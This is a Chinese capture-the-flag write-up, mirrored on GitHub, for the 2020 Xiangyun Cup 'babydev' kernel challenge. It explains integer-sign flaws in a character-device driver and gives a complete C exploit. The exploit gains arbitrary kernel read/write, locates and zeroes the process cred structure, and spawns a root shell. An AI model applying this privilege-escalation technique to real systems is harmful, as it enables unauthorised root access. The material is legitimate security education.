Skip to content

Latest commit

 

History

History
306 lines (232 loc) · 9.76 KB

2020祥云杯babydev详解.md

File metadata and controls

306 lines (232 loc) · 9.76 KB

原文链接: https://www.anquanke.com//post/id/223468

2020祥云杯babydev详解

                            阅读量   
                            **169143**
                        
                    |
                    
                                                                                                                                ![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)

程序分析

首先打开文件系统查看初始化的脚本init

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod mychrdev.ko
chmod 777 /dev/mychrdev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

poweroff -d 0  -f

发现程序加载了一个mychrdev.ko的模块,漏洞就应该在这个内核模块中。看名字应该是一个字符设备的驱动程序。

将这个模块从文件系统中拷贝出来,用IDA打开它,进行分析。可以看到程序主要有几个主要的函数llseekreadwriteopenioctl

结合模块的名字大致能知道每个函数的作用,readwriteopen就是重写了orw操作,ioctl大概是它自定义了一个操作,llseek实现的就是重定位读写指针的功能。

ioctl

这个函数通过0x1111命令泄漏了一些信息给我们。通过它我们能知道v9,v10,v11,v12md的值。通过分析我们知道v9是当前的进程号,v10是当前程序的名称,v11,v12缓冲区的一些信息,md则直接将缓冲区的地址mydata告诉了我们。

readwrite && llseek

驱动程序主要维护三个值,一个是文件的读写指针,没次打开文件的时候都会被重新设置为0;文件的头指针,指向文件内容开始的地方,它存放在mydata+0x10000中,表示文件内容的起始地址相对于mydata的偏移;三是文件的大小,它存放在mydata+0x1008中。

llseek中可以重制文件指针的值,并且返回重制以后文件指针的值。它有三种模式

  • 当`mod==0`时,会重制文件指针为`a2`
  • - 当`mod==1`时,将文件指针跳转到`当前地址+a2`的位置 - 当`mod==2`时,会将指针跳到文件倒数第`|a2|`(这里a2要是个负数)个位置 **这里可以看到`llseek`无法将文件指针设置为一个负数。**

    查看read函数,在copy_to_user函数第二个参数s_n + base + mydata表示要拷贝的内核空间的地址,这里存在一个整型漏洞,s_n+base是负数的时候就可以跳转到my_data之前的地址。其中s_n是文件指针的值,我们无法通过llseek将其设置为负数,因此要想跳到my_data之前的位置进行操作要考虑在base上(mydata+0x10000)做文章

    查看write函数,发现其同样存在整型漏洞,只要能将my_data+0x10000的位置,设置为负数就能够对mydata之前的地址进行操作。

    仔细观察发现write还有一个漏洞。*(_QWORD *)(mydata + 0x10008) += n;每次写成功之后都会吧写的内容的大小加到mydata + 0x10008上,和llseek配合就能够使得mydata+0x10008值超过0x10000,使得我们能够通过write随意修改mydata+0x10000mydata+0x10008上的内容,从而实现对任意地址的读写操作。

    漏洞利用

    首先为了绕过write的检查,先写0x10000的内容,再将文件指针设置为0,再写0x10000的内容上去使得my_data+0x10008的值变成0x20000,这样就能随意写my_data+0x10000my_data+0x10008的内容。

    int fd = open("/dev/mychrdev", O_WRONLY);
        u_char buf[0x10010];
        memset(buf, 0, sizeof buf);
        for (int i = 0; i < 2; i++)
        `{`
            long n = write(fd, buf, 0x10000);
            lseek(fd, 0, 0);
        `}`
        close(fd);
    

    然后我们就能够对任意地址进行读写,因为进程的cred结构在mydata之前,我们就主要跳到mydata之前进行操作。

    fd = open("/dev/mychrdev", O_WRONLY);
            int n = lseek(fd, pos, 0);
    
            *(size_t *)buf = -(long long)(addr >> 8);
            *(size_t *)(buf + 8) = 0x100000000000LL;
            n = write(fd, buf, 0x1000);
            // printf("%x\n\n", n);
            close(fd);
    
            memset(buf, 0, sizeof buf);
            fd = fd = open("/dev/mychrdev", O_RDONLY);
            n = lseek(fd, 0, 0);
            // printf("%d\n", n);
            n = read(fd, buf, 0x10000);
            // printf("%d\n\n", n);
            close(fd);
    

    利用char target[16] = "try2findmep4nda";prctl(PR_SET_NAME, target);target写进内核空间中,在内核空间中target的那个地址靠近cred指针,因此只要利用任意读爆破出它的地址就能够知道cred地址,利用任意写将cred中的前0x28个字节设置为0。这里可以参考P4nda大神的博客

    print_hex(buf,0x100);
        printf("\n");
        for(int i=0;i<0x28;i++)
        `{`
            buf[i]=0;
        `}`
        print_hex(buf, 0x100);
    

    最后实现提权。

    EXP

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    #include <sys/prctl.h>
    
    size_t heap;
    
    void id()
    `{`
        printf("uid:%d\n", getuid());
    `}`
    
    void show()
    `{`
        int fd = open("/dev/mychrdev", O_RDONLY);
        u_char buf[0x100];
    
        ioctl(fd, 0x1111, buf);
        u_char *p = buf;
        printf("%d\n", *(int *)p);
        p += 4;
        printf("%s\n", p);
        p += 0x10;
        printf("0x%x\n", *(int *)p);
        p += 4;
        printf("0x%x\n", *(long *)p);
        p += 8;
        printf("%p\n", *(size_t *)p);
        heap = *(size_t *)p;
        close(fd);
    `}`
    
    void print_hex(char *buf, size_t len)
    `{`
        int i;
        for (i = 0; i < ((len / 8) * 8); i += 8)
        `{`
            printf("0x%lx", *(size_t *)(buf + i));
            if (i % 16)
                printf(" ");
            else
                printf("\n");
        `}`
        printf("\n");
    `}`
    
    int main()
    `{`
    
        id();
    
        show();
    
        int fd = open("/dev/mychrdev", O_WRONLY);
        u_char buf[0x10010];
        memset(buf, 0, sizeof buf);
        for (int i = 0; i < 2; i++)
        `{`
            long n = write(fd, buf, 0x10000);
            lseek(fd, 0, 0);
        `}`
        close(fd);
    
    
        size_t addr = 0x10000, pre_addr = 0;
        size_t cred, real_cred, target_addr;
        char target[16] = "try2findmep4nda";
        prctl(PR_SET_NAME, target);
        for (;; pre_addr = addr, addr += 0x10000)
        `{`
            // printf("pre_addr:0x%lX\n",heap-pre_addr);
            // printf("addr:0x%lX\n", heap-addr);
            size_t pos = pre_addr + 0x10001;
            // printf("pos:0x%lx\n", pos);
    
            fd = open("/dev/mychrdev", O_WRONLY);
            int n = lseek(fd, pos, 0);
            // printf("0x%x\n", n);
            // *(size_t *)buf = -0x10000LL;
            *(size_t *)buf = -(long long)(addr >> 8);
            *(size_t *)(buf + 8) = 0x100000000000LL;
            n = write(fd, buf, 0x1000);
            // printf("%x\n\n", n);
            close(fd);
    
            memset(buf, 0, sizeof buf);
            fd = fd = open("/dev/mychrdev", O_RDONLY);
            n = lseek(fd, 0, 0);
            // printf("%d\n", n);
            n = read(fd, buf, 0x10000);
            // printf("%d\n\n", n);
            close(fd);
    
            if (n != -1)
            `{`
                u_int result = memmem(buf, 0x10000, target, 16);
                if (result)
                `{`
                    size_t temp = buf + result - (u_int)buf;
                    real_cred = *(size_t *)(temp - 0x10);
                    // target_addr = heap - addr + result - (u_int)(buf);
                    break;
                `}`
            `}`
            else
            `{`
                break;
            `}`
        `}`
    
        pre_addr=addr;
        size_t mod=(real_cred>>16)<<16;
        addr=heap-mod;
        size_t p_pos=real_cred-mod;
    
        // printf("%p\n", pre_addr);
        // printf("%p\n", addr);
        // printf("%p\n", mod);
        // printf("%p\n", p_pos);
    
        fd = open("/dev/mychrdev", O_WRONLY);
        size_t pos = pre_addr + 0x10001;
        int n = lseek(fd, pos, 0);
        *(size_t *)buf = -(long long)(addr >> 8);
        *(size_t *)(buf + 8) = 0x100000000000LL;
        n = write(fd, buf, 0x1000);
        // printf("%x\n\n", n);
        close(fd);
    
        memset(buf, 0, sizeof buf);
        fd = fd = open("/dev/mychrdev", O_RDONLY);
        n = lseek(fd, p_pos, 0);
        // printf("%d\n", n);
        n = read(fd, buf, 0x100);
        // printf("%d\n\n", n);
        close(fd);
    
        // print_hex(buf,0x100);
        // printf("\n");
        for(int i=0;i<0x28;i++)
        `{`
            buf[i]=0;
        `}`
        // print_hex(buf, 0x100);
    
        fd = fd = open("/dev/mychrdev", O_WRONLY);
        n = lseek(fd, p_pos, 0);
        // printf("%d\n", n);
        n = write(fd, buf, 0x100);
        // printf("%d\n\n", n);
        close(fd);
    
        id();
        // close(fd);
    
        system("/bin/sh");
    
        return 0;
    `}`